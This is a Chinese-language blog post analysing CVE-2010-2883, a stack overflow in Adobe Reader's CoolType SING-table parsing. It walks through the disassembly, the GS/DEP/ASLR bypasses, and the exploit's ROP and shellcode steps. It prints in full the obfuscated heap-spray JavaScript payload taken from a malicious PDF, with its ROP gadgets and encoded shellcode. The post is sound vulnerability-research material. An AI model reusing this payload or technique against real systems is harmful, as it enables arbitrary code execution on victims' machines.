BetaMao

第1章-栈溢出-第一篇-CVE-2010-2883-Adobe-ReaderTTF字体SING表栈溢出漏洞

字数统计: 2.2k阅读时长: 10 min
2017/07/31 Share

漏洞描述

CVE-2010-2883是Adobe Reader和Acrobat中的CoolType.dll库解析字体文件SING表中的uniqueName项时存在的栈溢出漏洞,用户打开特制的恶意PDF文件可造成任意代码执行。

漏洞分析

书上说,CoolType库的”SING”字符串处出的错误,直接用ida打开,搜索字符串到此处:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
.text:0803DCF9 ; =============== S U B R O U T I N E =======================================
.text:0803DCF9
.text:0803DCF9 ; Attributes: bp-based frame fpd=108h
.text:0803DCF9
.text:0803DCF9 sub_803DCF9 proc near ; CODE XREF: sub_803A3B2+55p
.text:0803DCF9 ; sub_803DFF4+28p ...
.text:0803DCF9
.text:0803DCF9 var_160 = byte ptr -160h
.text:0803DCF9 var_140 = dword ptr -140h
.text:0803DCF9 var_138 = dword ptr -138h
.text:0803DCF9 var_134 = dword ptr -134h
.text:0803DCF9 var_130 = dword ptr -130h
.text:0803DCF9 var_12C = dword ptr -12Ch
.text:0803DCF9 var_128 = dword ptr -128h
.text:0803DCF9 var_124 = dword ptr -124h
.text:0803DCF9 var_120 = dword ptr -120h
.text:0803DCF9 var_119 = byte ptr -119h
.text:0803DCF9 var_114 = dword ptr -114h
.text:0803DCF9 var_10C = dword ptr -10Ch
.text:0803DCF9 var_108 = byte ptr -108h
.text:0803DCF9 var_4 = dword ptr -4
.text:0803DCF9 arg_0 = dword ptr 8
.text:0803DCF9 arg_4 = dword ptr 0Ch
.text:0803DCF9 arg_8 = dword ptr 10h
.text:0803DCF9 arg_C = dword ptr 14h
.text:0803DCF9
.text:0803DCF9 push ebp ;本函数栈,0h处
.text:0803DCFA sub esp, 104h ;esp = -104h
.text:0803DD00 lea ebp, [esp-4] ;ebp = -108h
.text:0803DD04 mov eax, ___security_cookie
.text:0803DD09 xor eax, ebp
.text:0803DD0B mov [ebp+108h+var_4], eax ;[-4h] = security-cookie
.text:0803DD11 push 4Ch ;[-108h] = 4ch
.text:0803DD13 mov eax, offset sub_8184A54 ;eax = 0x8184a54
.text:0803DD18 call __EH_prolog3_catch ;
.text:0803DD1D mov eax, [ebp+108h+arg_C] ;eax = 参数4
.text:0803DD23 mov edi, [ebp+108h+arg_0] ;edi = 参数1
.text:0803DD29 mov ebx, [ebp+108h+arg_4] ;ebx = 参数2
.text:0803DD2F mov [ebp+108h+var_130], edi ;[-130h] = 参数1
.text:0803DD32 mov [ebp+108h+var_138], eax ;[-138h] = 参数4
.text:0803DD35 call sub_804172C
.text:0803DD3A xor esi, esi ;esi = 0
.text:0803DD3C cmp dword ptr [edi+8], 3 ;[edi+8] = 3
.text:0803DD40 mov [ebp+108h+var_10C], esi ;[-4h]=0
.text:0803DD43 jz loc_803DF00 ;不跳转
.text:0803DD49 mov [ebp+108h+var_124], esi ;[-124h] = 0
.text:0803DD4C mov [ebp+108h+var_120], esi ;[-120h] = 0
.text:0803DD4F cmp dword ptr [edi+0Ch], 1 ;
.text:0803DD53 mov byte ptr [ebp+108h+var_10C], 1 ;[-10c] = (byte)1
.text:0803DD57 jnz loc_803DEA9 ;不跳转
.text:0803DD5D push offset aName ; "name" ;[-10ch] = "name"
.text:0803DD62 push edi ; int ;[-110h] = edi
.text:0803DD63 lea ecx, [ebp+108h+var_124] ;ecx = -124h
.text:0803DD66 mov [ebp+108h+var_119], 0 ;[-119h] = 0
.text:0803DD6A call sub_80217D7 ;fun(edi,"name",,)
.text:0803DD6F cmp [ebp+108h+var_124], esi ;[-124h] ?=0
.text:0803DD72 jnz short loc_803DDDD ;不跳转
.text:0803DD74 push offset aSing ; "SING" ;[-114h] = "SING"
.text:0803DD79 push edi ; int ;[-110h] = edi
.text:0803DD7A lea ecx, [ebp+108h+var_12C] ;ecx = -12ch
.text:0803DD7D call sub_8021B06
.text:0803DD82 mov eax, [ebp+108h+var_12C] ;eax = [-12ch]
.text:0803DD85 cmp eax, esi ;eax ?= 0
.text:0803DD87 mov byte ptr [ebp+108h+var_10C], 2 ;[-10ch] = (byte)2
.text:0803DD8B jz short loc_803DDC4 ;不跳转
.text:0803DD8D mov ecx, [eax]
.text:0803DD8F and ecx, 0FFFFh ;相与为0
.text:0803DD95 jz short loc_803DD9F ;跳转
.text:0803DD97 cmp ecx, 100h
.text:0803DD9D jnz short loc_803DDC0
.text:0803DD9F
.text:0803DD9F loc_803DD9F: ; CODE XREF: sub_803DCF9+9Cj
.text:0803DD9F add eax, 10h ;eax += 10
.text:0803DDA2 push eax ; char *
.text:0803DDA3 lea eax, [ebp+108h+var_108]
.text:0803DDA6 push eax ; char *
.text:0803DDA7 mov [ebp+108h+var_108], 0 ;[-108h] = '\0'
.text:0803DDAB call strcat ;strcat(*-108,eax);

直接在ida里面能看到更清晰的跳转关系,发现要执行到strcat函数处必须按照特定跳转方式,但是阅读跳转发现它总是由传入参数控制,和原字符串无明显联系,在下文的”SING”出现后,可以猜测:

1
2
3
4
.text:0803DD74                 push    offset aSing    ; "SING"             ;参数1 = "SING"
.text:0803DD79 push edi ; int ;参数2 = 指向库的指针
.text:0803DD7A lea ecx, [ebp+108h+var_12C] ;
.text:0803DD7D call sub_8021B06 ;eax = "SING"表的地址

接下来的后续过程只有一个判断,而此判断是[eax]?=0,明显地,它并没有判断长度(即使第一位数据代表长度也可以伪造),后续再无判断,可以猜测此处存在栈溢出。

样本分析

提取字体

使用PDFStreamDumper: load PDF->search for->ttf fonts

查看结构

1
2
3
4
5
6
typedef struct_SING{
char tag[4];
ULONG checkSum;
ULONG offset;
ULONG length;
}

读到的结构如下:

即SING表的偏移为”0x0000011c”(大端序),又根据SING表的数据结构,相对偏移为10h处为uniqueName:

12Ch处开始为uniqueName字符串,可以看到,uniqueName长度远超了缓冲区的108h字节

安全检查

利用前当然要看看有哪些防御措施(通过查看PE头获取),能不绕就不绕

  1. GS:见上图,是有栈溢出检查的
  2. DEP:标配吧
  3. ASLR:查看PE头,发现是支持的

还要看看注意事项:

  1. 坏字符:’\0’
  2. strcat后还有很多指令,那些指令可能会用到被覆盖的栈的内容,若将内容当成指针就可能出现访问异常

    绕过方法

  3. GS:覆盖SEH,又要绕它。这里先观察注意事项2看看可不可以直接在后续指令里面劫持EIP
  4. DEP:ROP技术,将shellcode放入一片可写可执行区域
  5. ASLR:使用Heap Spray,另外利用没有ASLR的模块

    分析shellcode

  6. 在strcat之前下断点,可以看到eax指向uniqueName域
  7. 在strcat执行之后,在目标串(EBP所指)区域下内存访问断点,跟踪payload

    第一次断在字符串开始,拷贝1字节

    第二次断在字符串开始,比较1字节

    接着是循环比较,直到此处,开始4字节的读取串上的数据,直到匹配


    接下来将目标串复制8f双字到另一处内存

    接下来又是

    再继续,发现此处会用edi和eax覆盖字符串的8字节,偏移为13h

重要的内容来了,这里调用了字符串(栈)中的地址

此地址代码为(ROP1)

leave == mov esp,ebp;pop ebp
接着是ROP2

跟入ROP2,熟悉的气息扑面而来,堆喷射嘛,不过要小心,他这个gadget可能会让人感到迷惑,由于对齐原因:


注意到这里有两个地址0x4a80cb38和0x4a82a714,他们在icucnv36.dll模块中,在各个版本中位置都没有变化,增加有稳定性与通用性。
这一部分,算是完全控制了栈了,也绕过了ASLR(堆喷射)
3. JavaScript
现在栈顶指向了0x0c0c0c0c,它是由PDF中内嵌的js代码申请的

1
2
3
4
5
6
7
8
9
10
11
12
var PVtXNSbsBDH = unescape;
var EolKWFK = PVtXNSbsBDH( '%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692%u4a80%u1064%u4a80%u22c8%u4a85%u0000%u1000%u0000%u0000%u0000%u0000%u0002%u0000%u0102%u0000%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9038%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u0000%u0001%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9030%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0022%u0000%u0000%u0000%u0000%u0000%u0000%u0001%u63a5%u4a80%u0004%u4a8a%u2196%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0030%u0000%ua8a6%u4a80%u1f90%u4a80%u0004%u4a8a%ua7d8%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0020%u0000%ua8a6%u4a80%u63a5%u4a80%u1064%u4a80%uaedc%u4a80%u1f90%u4a80%u0034%u0000%ud585%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u000a%u0000%ua8a6%u4a80%u1f90%u4a80%u9170%u4a84%ub692%u4a80%uffff%uffff%uffff%uffff%uffff%uffff%u1000%u0000%ucfd9%u8dbf%uc68a%ud9b0%u2474%u58f4%uc929%u49b1%ue883%u31fc%u1578%u7803%u6f15%u3a7f%ue658%uc380%u9899%u2609%u8aa8%u226e%u1a99%u66e4%ud112%u92a8%u97a1%u9464%u1d02%u9b53%u9093%u775b%ub357%u8a27%u1384%u4519%u52d9%ub85e%u0612%ub637%ub681%u8a3c%ub719%u8092%ucf22%u5797%u65d6%u8799%uf247%u3fd1%u5ce3%u3ec2%ubf20%u083e%u0b4d%u8bb4%u4287%uba35%u08e7%u7208%u51ea%ub54c%u2415%uc5a6%u3ea8%ub77d%ucb76%u1f60%u6bfc%ua141%uedd1%uad02%u7a9e%ub24c%uaf21%ucee6%u4eaa%u4729%u74e8%u03ed%u15aa%ue9b4%u2a1d%u56a6%u8ec1%u75ac%ua816%u11ee%u86db%ue210%u9173%ud063%u09dc%u58ec%u9794%u9feb%u6f8f%u5e63%u8f30%ua5ad%udf64%u0cc5%ub405%ub015%u1ad0%u1e46%uda8b%ude36%ub27b%ud15c%ua2a4%u3b5e%u48cd%uaca4%u8cf8%u23a4%u8e95%u2aa8%u0739%u264e%u41d1%udfd8%uc848%u7e92%uc794%u41de%ueb1e%u0f1f%u86d7%uf833%udd17%uaf6e%uc828%u5005%uf6bd%u078f%uf429%u60f6%u07f6%ufadd%u9d3f%u949e%u713f%u651f%u1b16%u0d1f%u7fce%u284c%uaa11%ue1e0%u5484%u5551%u3c0e%u805f%ue378%ue7a0%ud878%uce76%u28fe%u22fd%u41c3' );
var JugRVXrvaQFK = PVtXNSbsBDH( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );
while (JugRVXrvaQFK.length + 20 + 8 < 65536) JugRVXrvaQFK+=JugRVXrvaQFK;
dDBGklMTnOsBpfJUpAasbVQDSwFtDtFjORYFvWHwmdRCAJzEj = JugRVXrvaQFK.substring(0, (0x0c0c-0x24)/2);
dDBGklMTnOsBpfJUpAasbVQDSwFtDtFjORYFvWHwmdRCAJzEj += EolKWFK;
dDBGklMTnOsBpfJUpAasbVQDSwFtDtFjORYFvWHwmdRCAJzEj += JugRVXrvaQFK;
jNkWdKUuDEKJZKHqagzYNJCdeNWgKoyaXIpylAATweCD = dDBGklMTnOsBpfJUpAasbVQDSwFtDtFjORYFvWHwmdRCAJzEj.substring(0, 65536/2);
while(jNkWdKUuDEKJZKHqagzYNJCdeNWgKoyaXIpylAATweCD.length < 0x80000) jNkWdKUuDEKJZKHqagzYNJCdeNWgKoyaXIpylAATweCD += jNkWdKUuDEKJZKHqagzYNJCdeNWgKoyaXIpylAATweCD;
MNPAvhsNTWhroaInAyrkSNVnaugrVjtWkeVpBGcRomrcMrEYpNPNoxuQmXDmdSiCmEpqsgaslO = jNkWdKUuDEKJZKHqagzYNJCdeNWgKoyaXIpylAATweCD.substring(0, 0x80000 - (0x1020-0x08) / 2);
var rYhuvzhnDOgwjmuwogDFLaqahCPBilftAtuBZIReEWBueZSyVCxpIHsNulycmb = new Array();
for (rQpazhpwmkoeBLCKCySORqPxKrdIwovXOnFknTABvarlNMNPlMZwiYemeaDLAvcuFAlmCZZTSkOqorail=0;rQpazhpwmkoeBLCKCySORqPxKrdIwovXOnFknTABvarlNMNPlMZwiYemeaDLAvcuFAlmCZZTSkOqorail<0x1f0;rQpazhpwmkoeBLCKCySORqPxKrdIwovXOnFknTABvarlNMNPlMZwiYemeaDLAvcuFAlmCZZTSkOqorail++) rYhuvzhnDOgwjmuwogDFLaqahCPBilftAtuBZIReEWBueZSyVCxpIHsNulycmb[rQpazhpwmkoeBLCKCySORqPxKrdIwovXOnFknTABvarlNMNPlMZwiYemeaDLAvcuFAlmCZZTSkOqorail]=MNPAvhsNTWhroaInAyrkSNVnaugrVjtWkeVpBGcRomrcMrEYpNPNoxuQmXDmdSiCmEpqsgaslO+"s";

于是可以通过rop绕dep了
4. 跟入js的shellcode




即[4a8a0000h] = eax (0x0038E174)



调用CreateFileA函数,创建一个名为iso88591的隐藏缓存型文件





设置参数FileHandle,它是上一个函数的返回值,即在eax里面,这里先将其放在edi再写入栈。




即调用CreateFileMappingA函数,创建文件映射,属性为可读可写可执行





设置参数Handle,同上



调用MapViewOfFile函数,映射到本进程的地址空间内


将返回值Address(03be0000h,注意程序重启过,后面的值会变化成08e30000h)写入0x4a8a0004处




设置第一个参数:目标地址





计算源地址




设置第二个参数:源地址



复制代码,执行shellcode

总结

漏洞是由于未对脏数据作过滤引起的,尽管是一个栈溢出,但此函数存在GS保护,幸运的是函数的后部使用到了栈中的数据作为指令地址,顺利的让恶意代码取得控制权,但是此程序存在DEP不能直接在堆栈上布置shellcode于是采用ROP技术绕过,但是此模块还存在ASLR,故又使用Heap Spray技术伪造了一个地址固定的堆,有利用固定的两个地址作为零件将ESP引向伪造的栈,后续就是利用ROP创建可读可写可执行的内存再将shellcode复制进此区域执行!秒啊,妙不可言啊!!

漏洞修复

当然是使用strncat代替咯

CATALOG
  1. 1. 漏洞描述
  2. 2. 漏洞分析
  3. 3. 样本分析
    1. 3.1. 提取字体
    2. 3.2. 查看结构
    3. 3.3. 安全检查
    4. 3.4. 绕过方法
    5. 3.5. 分析shellcode
    6. 3.6. 总结
  4. 4. 漏洞修复